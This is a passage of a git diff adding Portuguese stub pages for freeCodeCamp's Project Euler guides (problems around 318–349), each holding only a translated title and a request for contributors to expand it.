+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-318-2011-nines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md
new file mode 100644
index 0000000000..7a4cff2358
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Bounded Sequences
+localeTitle: Seqüências limitadas
+---
+## Problema 319: seqüências limitadas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-319-bounded-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md
new file mode 100644
index 0000000000..a461aaac59
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md
@@ -0,0 +1,9 @@
+---
+title: Pandigital products
+localeTitle: Produtos Pandigital
+---
+## Problema 32: Produtos Pandigitais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-32-pandigital-products/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md
new file mode 100644
index 0000000000..e99e1f368d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorials divisible by a huge integer
+localeTitle: Factorials divisíveis por um inteiro enorme
+---
+## Problema 320: Factorials divisíveis por um inteiro enorme
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-320-factorials-divisible-by-a-huge-integer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md
new file mode 100644
index 0000000000..607f39258e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md
@@ -0,0 +1,9 @@
+---
+title: Swapping Counters
+localeTitle: Contadores de Troca
+---
+## Problema 321: Trocando Contadores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-321-swapping-counters/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md
new file mode 100644
index 0000000000..8623e9f97e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md
@@ -0,0 +1,9 @@
+---
+title: Binomial coefficients divisible by 10
+localeTitle: Coeficientes binomiais divisíveis por 10
+---
+## Problema 322: coeficientes binomiais divisíveis por 10
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-322-binomial-coefficients-divisible-by-10/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md
new file mode 100644
index 0000000000..457b1d8ae2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Bitwise-OR operations on random integers
+localeTitle: Operações OR ou bit a bit em números inteiros aleatórios
+---
+## Problema 323: operações OR ou bit-a-bit em números inteiros aleatórios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-323-bitwise-or-operations-on-random-integers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md
new file mode 100644
index 0000000000..76937a7f5b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md
@@ -0,0 +1,9 @@
+---
+title: Building a tower
+localeTitle: Construindo uma torre
+---
+## Problema 324: Construindo uma torre
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-324-building-a-tower/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md
new file mode 100644
index 0000000000..e8eb045da1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Stone Game II
+localeTitle: Jogo de pedra ii
+---
+## Problema 325: Stone Game II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-325-stone-game-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md
new file mode 100644
index 0000000000..ba0009d22a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md
@@ -0,0 +1,9 @@
+---
+title: Modulo Summations
+localeTitle: Summações Modulo
+---
+## Problema 326: Modulo Summations
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-326-modulo-summations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md
new file mode 100644
index 0000000000..201b9d7521
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md
@@ -0,0 +1,9 @@
+---
+title: Rooms of Doom
+localeTitle: Quartos de Doom
+---
+## Problema 327: Salas da Perdição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-327-rooms-of-doom/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md
new file mode 100644
index 0000000000..869a6c4cbb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md
@@ -0,0 +1,9 @@
+---
+title: Lowest-cost Search
+localeTitle: Pesquisa de custo mais baixo
+---
+## Problema 328: Pesquisa de custo mais baixo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-328-lowest-cost-search/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md
new file mode 100644
index 0000000000..e8fe6cbffd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime Frog
+localeTitle: Prime Frog
+---
+## Problema 329: Prime Frog
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-329-prime-frog/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md
new file mode 100644
index 0000000000..754bd6cae8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit cancelling fractions
+localeTitle: Frações de cancelamento de dígitos
+---
+## Problema 33: Frações de cancelamento de dígitos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-33-digit-cancelling-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md
new file mode 100644
index 0000000000..6208bb1edf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md
@@ -0,0 +1,9 @@
+---
+title: Euler's Number
+localeTitle: Número de Euler
+---
+## Problema 330: Número de Euler
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-330-eulers-number/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md
new file mode 100644
index 0000000000..6e6edf1ab3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md
@@ -0,0 +1,9 @@
+---
+title: Cross flips
+localeTitle: Cross flips
+---
+## Problema 331: Cross Flips
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-331-cross-flips/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md
new file mode 100644
index 0000000000..49b105748f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Spherical triangles
+localeTitle: Triângulos esféricos
+---
+## Problema 332: Triângulos esféricos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-332-spherical-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md
new file mode 100644
index 0000000000..7a300e294a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md
@@ -0,0 +1,9 @@
+---
+title: Special partitions
+localeTitle: Partições especiais
+---
+## Problema 333: Partições Especiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-333-special-partitions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md
new file mode 100644
index 0000000000..7adead8d92
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md
@@ -0,0 +1,9 @@
+---
+title: Spilling the beans
+localeTitle: Derramando os feijões
+---
+## Problema 334: Derramando o Feijão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-334-spilling-the-beans/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md
new file mode 100644
index 0000000000..8464a13dbe
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md
@@ -0,0 +1,9 @@
+---
+title: Gathering the beans
+localeTitle: Recolhendo os feijões
+---
+## Problema 335: Reunindo os Feijões
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-335-gathering-the-beans/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md
new file mode 100644
index 0000000000..57d588128a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximix Arrangements
+localeTitle: Arranjos Maximix
+---
+## Problema 336: Acordos Maximix
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-336-maximix-arrangements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md
new file mode 100644
index 0000000000..21fe4e37f1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient Stairstep Sequences
+localeTitle: Totiente sequências Stairstep
+---
+## Problema 337: Seqüências de Escada Totient
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-337-totient-stairstep-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md
new file mode 100644
index 0000000000..5e948350ed
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md
@@ -0,0 +1,9 @@
+---
+title: Cutting Rectangular Grid Paper
+localeTitle: Corte De Papel De Grade Retangular
+---
+## Problema 338: Cortando Papel de Grade Retangular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-338-cutting-rectangular-grid-paper/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md
new file mode 100644
index 0000000000..5e012a79b9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md
@@ -0,0 +1,9 @@
+---
+title: Peredur fab Efrawg
+localeTitle: Peredur fab Efrawg
+---
+## Problema 339: Efrawg fab de Peredur
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-339-peredur-fab-efrawg/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md
new file mode 100644
index 0000000000..01c9c8ed7e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit factorials
+localeTitle: Factorials de dígitos
+---
+## Problema 34: Fatoriais de Dígito
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-34-digit-factorials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md
new file mode 100644
index 0000000000..d1f82eb2ad
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Crazy Function
+localeTitle: Função louca
+---
+## Problema 340: Função Maluca
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-340-crazy-function/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md
new file mode 100644
index 0000000000..724dcd4099
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Golomb's self-describing sequence
+localeTitle: Sequência auto-descrita de Golomb
+---
+## Problema 341: sequência autodescritiva de Golomb
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-341-golombs-self-describing-sequence/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md
new file mode 100644
index 0000000000..2324f69556
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md
@@ -0,0 +1,9 @@
+---
+title: The totient of a square is a cube
+localeTitle: O totiente de um quadrado é um cubo
+---
+## Problema 342: O totiente de um quadrado é um cubo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-342-the-totient-of-a-square-is-a-cube/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md
new file mode 100644
index 0000000000..8e55a10e82
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md
@@ -0,0 +1,9 @@
+---
+title: Fractional Sequences
+localeTitle: Seqüências Fracionárias
+---
+## Problema 343: Seqüências Fracionárias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-343-fractional-sequences/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md
new file mode 100644
index 0000000000..14f6a58c39
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Silver dollar game
+localeTitle: Jogo do dólar de prata
+---
+## Problema 344: Jogo do dólar de prata
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-344-silver-dollar-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md
new file mode 100644
index 0000000000..94557df131
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Matrix Sum
+localeTitle: Soma da Matriz
+---
+## Problema 345: Soma Matricial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-345-matrix-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md
new file mode 100644
index 0000000000..c532a6256a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md
@@ -0,0 +1,9 @@
+---
+title: Strong Repunits
+localeTitle: Repunções Fortes
+---
+## Problema 346: Repunções Fortes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-346-strong-repunits/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md
new file mode 100644
index 0000000000..27d0b558f8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest integer divisible by two primes
+localeTitle: Maior número inteiro divisível por dois primos
+---
+## Problema 347: Maior número inteiro divisível por dois primos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-347-largest-integer-divisible-by-two-primes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md
new file mode 100644
index 0000000000..fbea47dc0f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of a square and a cube
+localeTitle: Soma de um quadrado e um cubo
+---
+## Problema 348: Soma de um quadrado e um cubo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-348-sum-of-a-square-and-a-cube/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md
new file mode 100644
index 0000000000..88dac16591
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md
@@ -0,0 +1,9 @@
+---
+title: Langton's ant
+localeTitle: A formiga de Langton
+---
+## Problema 349: Formiga de Langton
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-349-langtons-ant/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
